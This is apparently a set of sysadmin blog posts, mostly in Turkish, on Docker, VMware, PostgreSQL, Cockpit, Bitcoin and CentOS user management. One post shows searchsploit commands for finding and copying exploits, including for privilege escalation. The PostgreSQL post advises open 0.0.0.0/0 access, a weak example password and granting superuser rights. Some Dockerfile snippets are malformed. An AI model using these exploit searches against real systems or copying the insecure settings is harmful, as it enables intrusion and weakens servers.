Automatically on Every Logon Process Link: https://farukguler.com/posts/server-manager-automatically-on-every-logon/ CMD: Run as Administrator #To Block schtasks /change /tn "Microsoft\Windows\Server Manager\ServerManager" /disable #To Activate schtasks /change /tn "Microsoft\Windows\Server Manager\ServerManager" /enable --- ## VMware Product Interoperability Matrix Nedir Link: https://farukguler.com/posts/vmware-product-interoperability-matrix/ Link: https://interopmatrix.vmware.com/Interoperability VMware Product Interoperability Matrix, VMware ürünlerinin uyumluluk matrisidir. Bu matris, VMware sanallaştırma yazılımı, yönetim araçları, veri koruma ve yedekleme yazılımları, ağ ürünleri ve diğer VMware yazılımları arasındaki uyumluluğu gösterir. Matris, her VMware ürününün desteklenen sürümlerini, diğer VMware ürünleri ve bileşenleriyle hangi sürümlerle uyumlu olduğunu, sürüm bağımlılıklarını ve çeşitli senaryolarda gereksinimleri belirtir. Bu, müşterilerin uyumlu bir VMware çözümü kurmasına ve farklı ürünlerin birlikte çalışmasını sağlamasına yardımcı olur. VMware Product Interoperability Matrix, VMware web sitesinde ücretsiz olarak kullanılabilir ve sık sık güncellenir. Bu matris, VMware ürünlerinin uyumlulukları hakkında güncel ve doğru bilgi sağlar ve VMware müşterilerine uyumlu bir sanallaştırma çözümü kurmalarına yardımcı olur. Versiyon yükseltmelerinde kullanılabilir mi? VMware Product Interoperability Matrix, genellikle yükseltme işlemleri için kullanılır. VMware ürünlerinde bir yükseltme yaparken, her zaman uyumluluk matrisine bakmak önemlidir. Matris, hangi ürün sürümlerinin yükseltilebileceğini ve hangi sürümler için destek sağlandığını gösterir. Bu, yükseltme işleminin başarılı bir şekilde gerçekleştirilmesini sağlar. Ayrıca, VMware Product Interoperability Matrix, birden fazla VMware ürününün birlikte kullanıldığı senaryolarda da kullanılabilir. Örneğin, bir müşterinin VMware vSphere sanallaştırma platformunu kullanarak VMware vCenter Server ve VMware vSAN ile entegre etmesi gerekiyorsa, uyumluluk matrisi doğru sürüm kombinasyonlarını belirleyerek işlemi kolaylaştırır. Bu nedenle, herhangi bir VMware ürünü yükseltmesi yapmadan önce, uyumluluk matrisine bakmak her zaman önemlidir. --- ## What is Docker Compose? - Docker Compose Nedir? Link: https://farukguler.com/posts/docker-compose-nedir/ Docker Compose, Docker konteynerlarını yönetmek ve çoklu konteyner uygulamalarını tanımlamak için kullanılan bir araçtır. Bu araç, YAML dosyalarını kullanarak uygulamanızın hizmetlerini, ağlarını ve depolama ayarlarını tanımlamanıza olanak tanır. Docker Compose, Docker konteynerlarını başlatmak, durdurmak ve yeniden oluşturmak için kolay bir yol sunar. Docker Compose kullanarak, her bir konteyner için hangi Docker imajının kullanılacağını, hangi ağlarla bağlantı kurulacağını, hangi depolama ayarlarının kullanılacağını ve her hizmetin nasıl yapılandırılacağını belirten bir docker-compose.yml dosyası oluşturabilirsiniz. Ardından, bu dosyayı kullanarak tüm uygulamayı bir komutla başlatabilir, durdurabilir veya yeniden oluşturabilirsiniz. Docker Compose Kurulum: sudo apt-get updatesudo apt-get install docker-compose-plugindocker compose version Bazı Docker Compose Komutları: docker compose upDocker Compose dosyasındaki hizmetleri oluşturur ve başlatır. Eğer belirtilen hizmetler zaten varsa, sadece başlatılırlar. -d (detach) bayrağı kullanılarak hizmetler arka planda başlatılabilir.docker compose downDocker Compose dosyasındaki hizmetleri durdurur ve ilgili konteynerleri siler. Ayrıca, ilişkili ağları ve birimleri de kaldırır. Konteynerlerin durumunu ve verilerini korumak için -v (volumes) bayrağı kullanılabilir.docker compose startDuraklatılan hizmetleri başlatır.docker compose stopHizmetleri durdurur.docker compose restartHizmetleri yeniden başlatır.docker compose pauseHizmetleri duraklatır.docker compose unpauseDuraklatılan hizmetleri devam ettirir.docker compose execBelirli bir hizmetin içinde çalışan bir komutu yürütür. Örneğin, docker-compose exec <hizmet-adı> <komut> şeklinde kullanılır.docker compose logsHizmetlerin günlük (log) çıktılarını görüntüler.docker compose psÇalışan hizmetlerin durumunu ve bilgilerini görüntüler.docker compose buildDocker Compose dosyasında tanımlanan hizmetlerin imajlarını oluşturur. Bu komut, Dockerfile dosyalarını temel alarak imajları oluşturur.docker compose pullDocker Compose dosyasında tanımlanan hizmetlerin imajlarını Docker Hub veya belirtilen bir imaj deposundan indirir.docker compose killHizmetlerin çalışmasını sonlandırır.docker compose rmurmuş hizmetleri ve ilişkili ağları, birimleri ve volümleri kaldırır.docker compose scaleBir hizmetin ölçeklendirilmesini sağlar. Örneğin, docker-compose scale <hizmet-adı>=<numara> şeklinde kullanılır.docker compose topHizmetlerin çalışan işlemlerini görüntüler.docker compose configDocker Compose dosyasının geçerli olup olmadığını kontrol eder ve yapılandırma detaylarını görüntüler.docker compose eventsDocker Compose olaylarını (events) izler ve görüntüler.docker compose portHizmetin bağlı olduğu portu görüntüler.docker compose versionKullanılan Docker Compose sürümünü görüntüler. --- ## Docker File Nedir? - What is Docker File? Link: https://farukguler.com/posts/what-is-docker-file/ Docker tarafından kullanılan bir konfigürasyon dosyasıdır. Bu dosya, bir yazılımın ve uygulamanın Docker konteynerine dahil edilmesi için gerekli olan tüm adımları ve komutları içerir. Docker tarafından bir konteyner oluşturulurken kullanılır ve konteynerin nasıl yapılandırılacağı, hangi yazılım paketlerinin yükleneceği, hangi portların açık olacağı, hangi dosyaların dahil edileceği vb. ayarlamaları içerir. Yani Dockerfile, bir uygulamanın Docker konteynerine nasıl konumlandırılacağı hakkında talimatlar içerir. Dockerfile'ın temel bileşenleri şunlardır: FROM: Bu satır, Docker image'ının neye dayanacağını belirler. Yani oluşturulan imajın hangi temel görüntüden başlayacağını belirler. Örneğin: FROM ubuntu:20.04 MAINTAINER: Bu satır, Dockerfile'ın kim tarafından yönetildiğini belirtir. Örneğin: MAINTAINER isimsoyisim email@farukguler.com RUN: Bu satır, imajda çalıştırılacak komutları belirler. Örneğin: RUN apt-get update && apt-get install -y nginx CMD: Bu satır, konteyner başlatıldığında çalıştırılacak varsayılan komutu belirler. Örneğin: CMD ["nginx", "-g", "daemon off;"] EXPOSE: Bu satır, konteynerın hangi portlarını kullanacağını belirtir. Örneğin: EXPOSE 80 443 ENV: Bu satır, konteyner ortam değişkenlerini belirler. Örneğin: ENV MY_VAR="my_value" ADD/COPY: Bu satırlar, Docker imajına dosya eklemek veya kopyalamak için kullanılır. Örneğin: COPY ./src /app WORKDIR: Bu satır, komutların çalışacağı dizini belirler. Örneğin: WORKDIR /app USER: Bu satır, çalışacak kullanıcı adını belirler. Örneğin: USER nginx VOLUME: Bu satır, konteynerın bağlanabileceği bir hacim oluşturur. Örneğin: VOLUME /data ARG: Bu satır, Dockerfile içinde kullanılacak değişkenleri tanımlar. Bu değişkenler, "docker build" sırasında kullanılabilir. Örneğin: ARG NODE_VERSION=14 LABEL: Bu satır, imaj hakkında açıklama ve meta verileri eklemek için kullanılır. Örneğin: LABEL description="This is a custom Docker image for Node.js applications" ONBUILD: Bu satır, başka bir Dockerfile tarafından kullanılacak işlemleri belirler. Örneğin: ONBUILD COPY . /app HEALTHCHECK: Bu satır, konteynerın sağlığını kontrol etmek için kullanılır. Örneğin: HEALTHCHECK --interval=5m --timeout=3s CMD curl --fail http://localhost:80 || exit 1 SHELL: Bu satır, Dockerfile içinde kullanılacak kabuk (shell) tipini belirler. Örneğin: SHELL ["/bin/bash", "-c"] ***Docker File Pattern: FROM apache:latestLABEL name="test-server"LABEL maintainer="guler"LABEL version="4.5.8"WORKDIR /usr/shareCOPY homepage.php /usr/share .ENV cls="clear"EXPOSEUSER faruk[:adminler]USER GökselARG version RUN apt install php curl net-toolsADD https://farukguler.com/repos/container.zip/icerik .HEALTHCHECKCMD [ "node" ]ENTRYPOINT ["docker-entrypoint.sh"]SHELL [“/bin/bash”, “-c”]VOLUME Best Regards. – Saygılarımla. --- ## Searchsploit Nedir? Link: https://farukguler.com/posts/searchsploit-nedir/ searchsploit, bir sistem penetrasyon testi ve exploit geliştirme aracı olan Metasploit Framework'ün bir parçasıdır. searchsploit, https://www.exploit-db.com veritabanındaki exploit bilgilerini aramanıza ve bulunan exploitleri kullanmanıza olanak tanır. Bu araç, hedef sistemlerdeki zayıflıkları ve güvenlik açıklarını tespit etmek için kullanılabilir. searchsploit genellikle Kali Linux gibi penetrasyon testi dağıtımlarında önceden yüklenmiş olarak gelir. Kullanımı - Use of: Windows 10 İçin Exploit Search:searchsploit windows 10Windows Server 2016 için:searchsploit windows server 2016Windows 7 İçin Belirli Bir Exploit Search:searchsploit windows 7 privilege escalationLinux İçin Belirli Bir Exploit Search:searchsploit linux kernel 4.15Anahtar Kelime ile Tüm Exploitlerin Listelenmesi:searchsploit smbBelirli Bir Sistem İçin Daha Fazla Detay Gösterme:searchsploit -t apache windows 10Exploit Detaylarını Görüntüleme:searchsploit -x 12345"125256" numaralı exploit dosyasını bulunduğunuz dizine kopyalar.searchsploit -m 125256 Örnek olarak, searchsploit windows 7 komutunu kullanarak Windows 7 işletim sistemine yönelik exploitleri arayabilirsiniz. Bulduğunuz bir exploiti kullanarak, hedef sistemi etkileyebilir ve sistemdeki bir güvenlik açığını kullanarak kontrolü ele geçirebilirsiniz. Ancak, bu adımları yasal izinlerle ve etik kurallara uygun olarak yapmalısınız. --- ## FATAL no pg_hba.conf entry for host "", user "postgres", database "postgres", no encryption Link: https://farukguler.com/posts/fatal-no-pg_hba-conf-entry-for-host/ Remote connection errors are usually related to PostgreSQL permission settings. It is important to carefully review these connection permissions. After installing PostgreSQL, you should make the necessary configurations: Firewall Rules: Make sure the port that PostgreSQL is listening on (usually 5432) is open. Network Connections: Set which IP addresses can connect in the pg_hba.conf file. User Roles/Permissions: Make sure that the users who will be connecting have sufficient permissions. ------Linux:File: /etc/postgresql/10/main/pg_hba.conf# TYPE DATABASE USER ADDRESS METHODhost all all 0.0.0.0/0 md5host marketdb faruk 0.0.0.0/0 md5 (spesific ip, user etc.)File: /etc/postgresql/12/main/postgresql.conflisten_addresses = '*'Firewall Rules:ss -nlp | grep 5432ufw status verbosesudo ufw allow 5432------Windows:File: C:\Program Files\PostgreSQL\xxxxx\data\pg_hba.conf# TYPE DATABASE USER ADDRESS METHODhost all all 0.0.0.0/0 md5host marketdb faruk 0.0.0.0/0 md5 (spesific ip, user etc.)File: C:\Program Files\PostgreSQL\xxxxx\data\postgresql.conflisten_addresses = '*'Firewall Rules:netstat -a | grep 5432Windows Firewall -> Advanced Settings -> New Rule:#Default 'postgres' user password change:sudo -u postgres psqlALTER USER postgres WITH PASSWORD 'passwd12345';\q#PostgreSQL Users Perm Configuration: [*for SUPERUSER]\du\l+ALTER USER postgres WITH SUPERUSER;ALTER USER faruk WITH SUPERUSER;#Service restart:systemctl restart postgresql [Linux]service postgresql restart [Windows] Wait! there is another more way --- ## Docker Community (CE) vs Docker Enterprise (EE) Link: https://farukguler.com/posts/docker-community-ce-vs-docker-enterprise-ee/ Docker, modern uygulama geliştirme ve yönetiminde kullanılan popüler bir teknolojidir. Bugün bu dokümanda, Docker CE ve Docker EE arasındaki farkları anlatacağız. Lisanslama Modeli: Docker CE, tamamen ücretsizdir ve açık kaynak kodlu bir yazılımdır. Bu nedenle, herhangi bir lisanslama gerektirmez. Docker CE'yi indirip kullanmaya başlayabilirsiniz. Docker EE, ücretli bir sürümdür ve Docker tarafından yönetilir. Docker EE, müşterilerin ihtiyaçlarını karşılamak için geliştirilmiş birçok ek özellik ve destek seçeneği sunar. Fiyatlandırma, Docker EE'nin kullanım şekline, kullanıcı sayısına ve sunulan özelliklere göre değişebilir. Orkestrasyon Aracı: Docker CE, tek bir makinede çalışan Docker container'ları için orkestrasyon aracı olarak Docker Compose ve Swarm kullanır. Docker Compose, birden fazla Docker container'ını tek bir komutla başlatmanızı sağlayan bir araçtır. Swarm ise, Docker CE'yi birden fazla makine üzerinde çalıştıran ve container'ları yöneten bir araçtır. Docker EE, Swarm yanı sıra Kubernetes ve Mesos gibi diğer orkestrasyon araçlarını da destekler. Bu, Docker EE'nin daha esnek bir orkestrasyon çözümü sunmasını sağlar. Ayrıca, Docker EE, Swarm'da olduğu gibi, birden fazla makinede çalışan Docker container'larını yönetmek için bir araç sunar. Güvenlik ve Uyum: Docker CE, bazı güvenlik özellikleri sunar, ancak Docker EE, daha kapsamlı bir güvenlik çözümü sunar. Docker EE, müşterilerin gereksinimlerine uygun şekilde özelleştirilebilen güvenlik politikaları ve sertifikasyon seçenekleri sunar. Bu, Docker EE'nin regülasyonlara uygunluğu kolaylaştırır. Docker EE, ayrıca, müşterilerin belirli güvenlik düzenlemelerini karşılamalarına yardımcı olan "secure by default" özellikleri sunar. Docker EE, CIS Benchmarks, PCI-DSS ve HIPAA gibi çeşitli düzenlemelere uyumluluğu sağlar. Kontrol Paneli: Docker EE, yöneticilerin Docker container'larını ve uygulamalarını merkezi olarak yönetebilecekleri bir kontrol paneli sunar. Bu panel, Docker container'larını yönetmek için gerekli olan araçları ve işlevleri içerir. Docker EE'nin kontrol paneli, birden fazla Docker sunucusunu tek bir yerden yönetmek için tasarlanmıştır. Docker CE, merkezi bir kontrol paneli sunmaz. Bunun yerine, Docker CLI aracılığıyla Docker container'larını tek tek yönetmeniz gerekir. Destek: Docker CE, açık kaynaklı bir projedir ve topluluk desteği ve forumlar yoluyla destek sunar. Docker CE kullanıcıları, sorunları ve soruları için Docker forumlarında veya diğer açık kaynak topluluklarındaki forumlarda yardım isteyebilirler. Docker EE, Docker tarafından yönetildiği için, Docker EE kullanıcılarına teknik destek sunar. Docker EE kullanıcıları, telefon, e-posta veya web destek bileti yoluyla Docker teknik desteğine erişebilirler. Ayrıca, Docker EE müşterileri, belirli bir süre için düzeltmeler ve yamalar için destek alabilirler. Yönetilebilirlik: Docker CE, basit ve kolay bir kullanıcı arayüzü sunar. Ancak, Docker CE'yi yönetmek, bazı teknik beceriler ve bilgiler gerektirir. Docker CE, tek bir makine üzerinde çalışan container'ları yönetmek için kullanışlı bir araçtır, ancak birden fazla makine üzerinde çalışan container'ları yönetmek daha karmaşık bir işlemdir. Docker EE, yönetim arayüzü ve daha fazla özellik sunar. Docker EE, birden fazla makine üzerinde çalışan container'ları yönetmek için tasarlanmıştır. Docker EE'nin kullanıcı arayüzü, container'ları ve uygulamaları kolayca yönetmenize olanak tanır. Sonuç olarak, Docker CE ve Docker EE, farklı özellikleri ve avantajları olan iki farklı sürümdür. Docker CE, küçük ölçekli projeler için kullanışlı bir araçtır ve ücretsizdir. Docker EE, büyük ölçekli projeler için daha fazla özellik ve destek sunar ve ücretlidir. Hangi sürümün seçileceği, projenin ölçeğine, bütçesine ve ihtiyaçlarına bağlıdır. Güvenlik: Docker CE ve Docker EE, container'larınızı güvenli bir şekilde çalıştırmanıza yardımcı olacak birçok güvenlik özelliği sunar. Ancak, Docker EE, kurumsal düzeyde güvenlik gereksinimleri için daha fazla özellik sunar. Ölçeklenebilirlik: Docker EE, birden fazla makine üzerinde çalışan container'ları yönetmek için tasarlanmıştır. Bu nedenle, Docker EE, ölçeklenebilirlik açısından daha fazla özellik sunar. Yönetim ve Dağıtım: Docker EE, container'ları yönetmek ve dağıtmak için gelişmiş araçlar sunar. Docker EE'nin Swarm adlı bir özelliği bulunur ve bu özellik, birden fazla makine üzerinde çalışan container'ları koordine etmek için tasarlanmıştır. Bu farklılıklar, Docker CE ve Docker EE arasındaki kararınızı etkileyebilir. Hangi sürümün seçileceği, projenizin gereksinimlerine, bütçenize ve ölçeğine bağlıdır. --- ## Debian "Alias" Kullanımı Link: https://farukguler.com/posts/debian-alias/ Örneğin; 🗑 cls (Clear Screen) komutu, özellikle Windows işletim sistemi kullanıcılarının komut istemcisinde (Command Prompt) terminal ekranını temizlemek için kullanılan bir komuttur. Bu komut, terminal penceresindeki tüm önceki çıktıları temizler ve size yeni bir boş ekran sunar. 🗑 cls komutu, Linux tabanlı sistemlerde doğrudan çalışmaz. Ancak, bir taklitçi komut alias (takma ad) oluşturarak bu komutu kullanabilirsiniz. #To affect the current user's Bash shell:sudo nano .bashrc#To affect all users' Bash shells:sudo nano /etc/bash.bashrc#To influence a specific group of users:sudo nano /etc/profile#Add the following line to the end of the file.#In this way, by running the cls command, you will actually be referring to the clear command.alias cls='clear'#For changes to take effect:source ~/.bashrcsource /etc/bash.bashrc#On Debian-based systems such as Debian or Ubuntu, general system settings are made in /etc/bash.bashrc or /etc/profile files, while on Red Hat-based systems (e.g. Fedora, CentOS) general system settings are made in /etc/bash.bashrc or /etc/profile.d/. files are used#Saygılarımla www.farukguler.com Taklitlerinden sakınınız ;) --- ## Bitcoin (BTC) Nedir? Merkeziyetsiz Finansın Başlangıcı ve Dijital Altın Link: https://farukguler.com/posts/bitcoin-btc-nedir/ Bitcoin (BTC), 2008 yılında Satoshi Nakamoto takma adını kullanan bilinmeyen bir kişi veya grup tarafından yayınlanan bir whitepaper (“Bitcoin: Eşten Eşe Elektronik Nakit Sistemi”) ile dünyaya tanıtılan ve 2009’da hayata geçirilen, ilk merkeziyetsiz kripto para birimidir. Bitcoin’in temel amacı, herhangi bir merkezi otoriteye (banka, hükümet) ihtiyaç duymadan, internet üzerinden doğrudan kişiden kişiye (Peer-to-Peer - P2P) değer gönderilmesini sağlayan dijital bir nakit sistemi oluşturmaktı. Günümüzde ise Bitcoin, sadece bir ödeme aracı olmanın ötesinde, enflasyona karşı koruma sağlayan “Dijital Altın” veya “Değer Saklama Aracı” (Store of Value) olarak da kabul görmektedir. BTC, bu devrimci ağın yerel (native) para birimidir. Bitcoin’in Çözdüğü Problem: Geleneksel Finansın Sınırları Satoshi Nakamoto’nun Bitcoin’i yaratmasının ardında, 2008 küresel finansal krizinin de tetiklediği, geleneksel finans sistemine yönelik temel eleştiriler yatar: Merkezileşme ve Güven İhtiyacı: Tüm finansal sistem, bankalar ve hükümetler gibi güvenilmesi gereken aracılara dayanır. Bu aracılar fonları dondurabilir, sansür uygulayabilir veya başarısız olabilir. Enflasyon: Merkez bankaları tarafından sürekli para basılması, paranın satın alma gücünü zamanla azaltır (enflasyon). Sınır Ötesi Ödemelerin Yavaşlığı ve Maliyeti: Uluslararası para transferleri günler sürebilir ve yüksek komisyonlar gerektirebilir. Erişim Engelleri: Dünya üzerinde milyarlarca insan geleneksel bankacılık sistemine erişememektedir (“bankasızlar”). Bitcoin, bu sorunlara matematik ve kriptografi temelinde merkeziyetsiz bir alternatif sunar. Bitcoin Nasıl Çalışır? Çekirdek Teknoloji Bitcoin’in devrimi, üç temel teknolojinin bir araya gelmesiyle mümkün olmuştur: 1. Blockchain (Blok Zinciri) Bitcoin, tüm işlemlerin kaydedildiği, dağıtık, halka açık ve değiştirilemez bir dijital defter olan blockchain teknolojisini kullanır. Dağıtık: Defterin bir kopyası, dünya çapındaki binlerce bilgisayarda (node) aynı anda tutulur. Tek bir merkezi sunucu yoktur. Halka Açık: Herkes blockchain’i indirebilir ve tüm işlem geçmişini (kimden kime ne kadar BTC gittiğini) görebilir (ancak adreslerin kime ait olduğu gizlidir - pseudonymous). Değiştirilemez (Immutable): Bir işlem blockchain’e eklendikten sonra, onu değiştirmek veya silmek (kriptografik ve ekonomik nedenlerle) neredeyse imkansızdır. 2. Proof-of-Work (PoW - İş Kanıtı) Konsensüsü Bitcoin ağını güvence altına alan ve yeni BTC’lerin nasıl yaratılacağını belirleyen mekanizmadır. Madenciler (Miners): Özel donanımlara (ASIC) sahip kişiler veya şirketlerdir. Görevleri, bekleyen işlemleri doğrulamak ve bunları blockchain’e yeni bir “blok” olarak eklemektir. Yarış: Yeni bir blok eklemek için madenciler, son derece zor bir matematiksel bulmacayı çözmek üzere devasa miktarda hesaplama gücü (ve dolayısıyla elektrik enerjisi) harcarlar. Ödül: Bulmacayı ilk çözen madenci, yeni bloğu zincire ekleme hakkı kazanır ve ödül olarak yeni yaratılmış BTC (Blok Ödülü) ve o bloktaki işlem ücretlerini (Transaction Fees) alır. Güvenlik: Bir saldırganın blockchain’i manipüle etmesi (örn. sahte işlem eklemesi) için, ağdaki dürüst madencilerin toplam hesaplama gücünün yarısından fazlasını (%51 Saldırısı) kontrol etmesi gerekir. Bu, Bitcoin gibi devasa bir ağ için aşırı derecede pahalı ve pratik olarak imkansızdır. 3. SHA-256 Kriptografik Hash Algoritması Bitcoin’in tüm güvenliği, işlemlerin ve blokların birbirine kriptografik olarak bağlanmasını sağlayan bu hash fonksiyonuna dayanır. Bitcoin’in Temel Özellikleri Merkeziyetsizlik: Tek bir kontrol noktası yoktur. Ağ, küresel olarak dağılmış binlerce düğüm ve madenci tarafından yönetilir. Sınırlı Arz (21 Milyon): Bitcoin’in toplam arzı 21 milyon adet ile kodlanmıştır. Bu kıtlık, onu enflasyona karşı dayanıklı kılar ve “dijital altın” benzetmesinin temelini oluşturur. Sansür Direnci: Hiçbir hükümet veya kurum, Bitcoin ağını kapatamaz veya belirli işlemleri kolayca engelleyemez. Şeffaflık: Tüm işlemler herkes tarafından görülebilir, bu da ağı denetlenebilir kılar. İzin Gerektirmeme (Permissionless): Herkes, hiçbir kimlik doğrulaması veya izin almadan Bitcoin ağını kullanabilir, bir cüzdan oluşturabilir veya bir düğüm çalıştırabilir. Bitcoin Halving (Yarılanma): Ekonomik Modelin Kalbi Bitcoin’in koduna gömülü en önemli ekonomik özelliklerden biri “Halving”dir. Mekanizma: Yaklaşık her 4 yılda bir (veya 210.000 blokta bir), madencilere verilen blok ödülü yarıya iner. Tarihçe: Başlangıçta ödül 50 BTC idi. 2012’de 25 BTC’ye, 2016’da 12.5 BTC’ye, 2020’de 6.25 BTC’ye ve 2024’te 3.125 BTC’ye düştü. Bu süreç, 21 milyon BTC’nin tamamı (~2140 yılında) çıkarılana kadar devam edecektir. Amaç: Yeni Bitcoin arzının zamanla azalmasını sağlayarak (disinflation), varlığın kıtlığını artırmak ve enflasyonunu kontrol altında tutmaktır. Tarihsel olarak Halving olayları, Bitcoin fiyatında önemli yükseliş döngülerini tetiklemiştir. BTC Tokenomiği: “Sağlam Para” (Sound Money) BTC, ağın temel taşıdır. Hem madencileri ödüllendirmek hem de işlem ücretlerini ödemek için kullanılır. Sabit arzı (21 milyon) ve programatik olarak azalan emisyonu (Halving), onu birçok kişi tarafından tarihteki en “sağlam para” (sound money) formu olarak kabul edilmesini sağlamıştır. Bitcoin’in Zorlukları ve Eleştiriler Ölçeklenebilirlik: Bitcoin Layer 1 (ana ağ), saniyede sadece yaklaşık 7 işlem (TPS) gerçekleştirebilir. Ağ yoğunlaştığında işlem ücretleri (gas fees) çok yükselebilir. Bu, onu günlük mikro ödemeler için elverişsiz kılar. Enerji Tüketimi: PoW madenciliği, devasa miktarda elektrik enerjisi tüketir. Bu, çevresel endişelere yol açmaktadır (ancak madenciliğin artan oranda yenilenebilir enerji kaynaklarına yöneldiği ve enerji şebekelerini dengelemeye yardımcı olabileceği argümanları da vardır). Akıllı Sözleşme Yeteneklerinin Sınırlılığı: Ethereum’un aksine, Bitcoin’in betik (scripting) dili çok daha basittir ve karmaşık akıllı sözleşmeleri veya dApp’leri desteklemez (ancak Taproot gibi güncellemeler ve Ordinals gibi yenilikler bu alanda yeni kapılar aralamaktadır). Ölçeklenme Çözümleri: Lightning Network Bitcoin’in ölçeklenebilirlik sorununu çözmek için geliştirilen en önemli Layer 2 (Katman 2) çözümü Lightning Network‘tür. Bu protokol, kullanıcıların Bitcoin ana zincirine dokunmadan, kendi aralarında anlık ve neredeyse sıfır maliyetli mikro ödemeler yapmasına olanak tanır. Sonsöz; Bitcoin, sadece ilk kripto para birimi değil, aynı zamanda tamamen yeni bir varlık sınıfı ve finansal paradigmalar yaratan bir teknolojik devrimdir. Başlangıçtaki “dijital nakit” hedefinden, günümüzdeki “dijital altın” ve “değer saklama aracı” rolüne evrilmiş olsa da, temel ilkeleri olan merkeziyetsizlik, kıtlık ve sansür direnci onu finans dünyasında benzersiz bir konuma yerleştirmiştir. Karşılaştığı zorluklara rağmen Bitcoin, 15 yılı aşkın süredir kesintisiz çalışarak dayanıklılığını kanıtlamış ve küresel finans sisteminde kalıcı bir yer edinme yolunda ilerlemektedir. --- ## Installing Cockpit for CentOS 7 and later Link: https://farukguler.com/posts/installing-cockpit-for-centos-7-and-later/ Cockpit, CentOS işletim sistemleri için kullanılabilen bir web tabanlı arayüz uygulamasıdır. Cockpit, sunucularınızı yönetmenizi, izlemenizi ve ayarlamanızı sağlar. Aşağıdaki adımları izleyerek CentOS üzerine Cockpit kurabilir ve kaldırabilirsiniz. Kurulum: CentOS sunucunuza bağlanın. Cockpit paketlerinin en son sürümünü yüklemek için aşağıdaki komutu çalıştırın: sudo yum install cockpit Firewall'ınızın 9090 portunun aktif olduğundan emin olun: sudo firewall-cmd --add-port=9090/tcp --permanent sudo firewall-cmd --permanent --add-service=cockpit sudo firewall-cmd --reload Cockpit servisini başlatın ve sistem açılışında otomatik olarak başlamasını sağlayın: sudo systemctl start cockpit #sudo systemctl stopcockpit sudo systemctl restart cockpit sudo systemctl enable --now cockpit.socket #sudo systemctl disable --now cockpit.socket Tarayıcınızda https://sunucu_IP_adresi:9090 adresine gidin ve Cockpit arayüzüne erişim yapabilirsiniz. Cockpit Versionu ve servisinin genel durumunu ayrıca logları kontrol etmek için: sudo systemctl status cockpit sudo journalctl -u cockpit.service rpm -qi cockpit Kaldırma: CentOS sunucunuza bağlanın. Aşağıdaki komutu kullanarak Cockpit paketini kaldırın: sudo yum remove cockpit Eğer isterseniz, kaldırma işlemi sırasında sistemdeki konfigürasyon dosyalarını da kaldırmak için aşağıdaki komutu kullanın: sudo yum remove cockpit --config-files Not: Cockpit arayüzünün kullandığı dosyaları ve konfigürasyonları manuel olarak da silmeniz gerekebilir. Bu dosyaları silmek için aşağıdaki komutları kullanabilirsiniz: sudo rm -rf /etc/cockpit/ sudo rm -rf /var/lib/cockpit/ Sertfika nasıl yükleyebilirsiniz: Cockpit üzerinde HTTPS üzerinden bağlantı yapabilmek için bir sertifika kullanmanız gerekmektedir. Kendi sertifikanızı oluşturmak ve Cockpit'e yüklemek için aşağıdaki adımları takip edebilirsiniz: Öncelikle, OpenSSL paketini yüklemelisiniz. Bu paket, sertifika oluşturma ve yönetimi için gerekli araçları içerir. CentOS için aşağıdaki komutu kullanabilirsiniz: sudo dnf install openssl Open SSL kurulumundan sonra Sertifikanızı oluşturmak için aşağıdaki komutu kullanabilirsiniz: sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/cockpit/ws-certs.d/server.key -out /etc/cockpit/ws-certs.d/server.crt Bu komut, 365 gün süreyle geçerli, RSA 2048-bit uzunluğunda bir anahtar oluşturur ve anahtarın saklanacağı dosya adı "server.key", sertifikanın saklanacağı dosya adı ise "server.crt" olarak belirlenir. Komutu çalıştırdıktan sonra, sertifikanın ayrıntılarını girmeniz istenir. Bu ayrıntılar genellikle ülke, bölge, şehir, kuruluş adı, bölüm adı, tam alan adı ve e-posta adresini içerir. Son olarak, sertifika dosyalarının erişim haklarını ayarlamak için aşağıdaki komutları kullanabilirsiniz: sudo chmod 400 /etc/cockpit/ws-certs.d/server.key sudo chmod 444 /etc/cockpit/ws-certs.d/server.crt sudo chown root:cockpit-ws /etc/cockpit/ws-certs.d/server.key /etc/cockpit/ws-certs.d/server.crt Bu komutlar, "server.key" dosyasının sadece root kullanıcısı tarafından okunabilir olmasını "server.crt" dosyasınında tüm kullanıcılar tarafından okunabilir olmasını sağlar. Sertifikanızın doğru şekilde oluşturulup oluşturulmadığını doğrulamak için aşağıdaki komutu kullanabilirsiniz: sudo openssl x509 -noout -text -in /etc/cockpit/ws-certs.d/server.crt Cockpit servisini yeniden başlatarak, sertifikanın etkinleştirildiğinden emin olabilirsiniz: sudo systemctl restart cockpit Best Regards. – Saygılarımla. --- ## Centos8 User & Groups Operations Link: https://farukguler.com/posts/centos-8-user-groups-operations/ Burada yayınlanan komutlar RHELL/Centos tabanı için geçerlidir. List all users on your machine:more /etc/passwdawk -F ':' '{print $ 1}' /etc/passwdTo display the entire User count:cat /etc/passwd | wc -lCreating a user account:adduser usernameDeleting a user account:#userdel usernameSwitching a user account:su usernameChanging a user's password:passwd usernameChanging a user's group membership:usermod -g new_group username***This command provides a new group name in which you want the specified user to join the group.Changing a user's home directory:usermod -d /new/home/directory username***This command allows you to change the home directory of the specified user.View user information and settings:id usernameTerminate all active sessions for a user:pkill -KILL -u usernameResetting a user's password:passwd -d username***This command deletes the specified user's password and requires the user to create a new password the next time they log in.Set a user's account expiration date:chage -E "2027-xx-xx" usernameShow "wheel" group usersgetent group wheelTo grant root privileges to the user:usermod -aG wheel usernameRequiring a user's password:chage -d 0 usernameTo create a group:sudo groupadd grupadiTo delete a group:sudo groupdel grupadiList all groups in the system:cat /etc/groupList a user's groups:groups usernameView details of a specific group:getent group grupadiTo change a group name:sudo groupmod -n yeni_grup_adi eski_grup_adiListing Group Members:members grupadiChange a user's name or group:usermod -l new_username old_usernameChanging the user's UID:usermod -u 1001 usernameChanging the user's group:usermod -g developers usernameChange a user's password lifetime:chage -M 90 usernameView user's account activity and recent login information:last usernameSet user sign-in restrictions:chage usernameSet user's password policies:passwd -d -u usernameTemporarily disable user's account:usermod -L usernameReactivate the user's account:usermod -U usernameChanging the user's group:usermod -g groupname username***This command changes the home group of the specified user.Change a user's additional groups:usermod -aG groupname usernameAdding user "user1" to the "testgroup" group:sudo gpasswd -a user1 testgroupTo remove user "user1" from group "testgroup":sudo gpasswd -d user1 testgroupLocking the user's account:usermod -L usernameOpening the user's account:usermod -U usernameShow message on user's next session:echo "message" > /etc/issueShowing messages to all users throughout the system:wall "message"List logged in userswBulk adding users:newusers home/path/users.txt***user.txt columns content:Kullanıcı adıParolaKullanıcı ID'si (UID)Grup ID'si (GID)Ev diziniKabuk (Shell)***user.txt columns 